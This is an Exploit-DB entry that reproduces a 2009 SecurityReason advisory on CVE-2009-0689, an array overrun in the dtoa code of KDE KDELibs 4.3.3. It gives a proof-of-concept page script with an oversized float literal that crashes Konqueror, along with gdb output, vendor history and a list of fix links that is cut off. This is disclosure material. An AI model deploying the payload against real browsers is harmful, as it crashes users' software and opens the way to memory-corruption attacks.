Exploit-DB #10184
Description: KDE KDELibs 4.3.3 - Remote Array Overrun
Type: dos
Platform: linux
Date: 2009-11-19
Author: Maksymilian Arciemowicz & sp3x

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ KDE KDELibs 4.3.3 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 20.11.2009

CVE: CVE-2009-0689
Risk: High
Remote: Yes

Affected Software:
- - KDELibs 4.3.3

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/74


- --- 0.Description ---
KDELibs is a collection of libraries built on top of Qt that provides
frameworks and functionality for developers of KDE-compatible software.
The KDELibs libraries are licensed under LGPL.


- --- 1. KDE KDELibs 4.3.2 Remote Array Overrun (Arbitrary code
execution) ---
The main problem exist in dtoa implementation. KDE has a very similar
dtoa algorithm to the BSD, Chrome and Mozilla products. Problem exist
in dtoa.cpp file

http://websvn.kde.org/tags/KDE/4.3.3/kdelibs/kjs/dtoa.cpp?revision=1042584&view=markup

and it is the same like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and
it is possible to call 16<= elements of freelist array.


- --- 2. Proof of Concept  (PoC) ---

- -----------------------
<script>
var a=0.<?php echo str_repeat("9",299999); ?>;
</script>
- -----------------------

If we use konqueror to see this PoC, konqueror will crash. For example

- -----------------------
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
- -----------------------

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 24845, thread 0x7e6e6800]
0x090985c3 in diff () from /usr/local/lib/libkjs.so.5.0

0x06db85c3 <diff+163>:  mov    %esi,(%ecx)

#0  0x090985c3 in diff () from /usr/local/lib/libkjs.so.5.0
#1  0x0909901b in kjs_strtod () from /usr/local/lib/libkjs.so.5.0
#2  0x090738e5 in KJS::Lexer::lex () from /usr/local/lib/libkjs.so.5.0
#3  0x0907300c in kjsyylex () from /usr/local/lib/libkjs.so.5.0
#4  0x09072f86 in kjsyyparse () from /usr/local/lib/libkjs.so.5.0
#5  0x090805cf in KJS::Parser::parse () from /usr/local/lib/libkjs.so.5.0
#6  0x0908337f in KJS::InterpreterImp::evaluate ()

(gdb) i r
eax            0x0      0
ecx            0x220ff000       571469824
edx            0x0      0
ebx            0x220fbb00       571456256
esp            0xcfbc04e0       0xcfbc04e0
ebp            0xcfbc0518       0xcfbc0518
esi            0xc71c71c7       -954437177
edi            0x0      0
eip            0x21415c3        0x21415c3

esi=0x71c71c7


- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - KDE (example: konqueror)
- - Opera
- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all
vendors about this issue, however, they did not do it. Even greater
confusion caused new CVE number "CVE-2009-1563". Secunia has informed
that this vulnerability was only detected in Mozilla Firefox, but nobody
was aware that the problem affects other products like ( KDE, Chrome )
and it is based on "CVE-2009-0689". After some time Mozilla Foundation
Security Advisory
("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html";)
was updated with note :
"The underlying flaw in the dtoa routines used by Mozilla appears to be
essentially the same as that reported against the libc gdtoa routine by
Maksymilian Arciemowicz ( CVE-2009-0689)".
This fact ( new CVE number for Firefox Vulnerability )and PoC in
javascript (from Secunia), forced us to official notification all other
vendors. We publish all the individual advisories, to formally show all
vulnerable software and to avoid wrong CVE number. We do not see any
other way to fix this issue in all products.


- --- 4. Fix ---
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www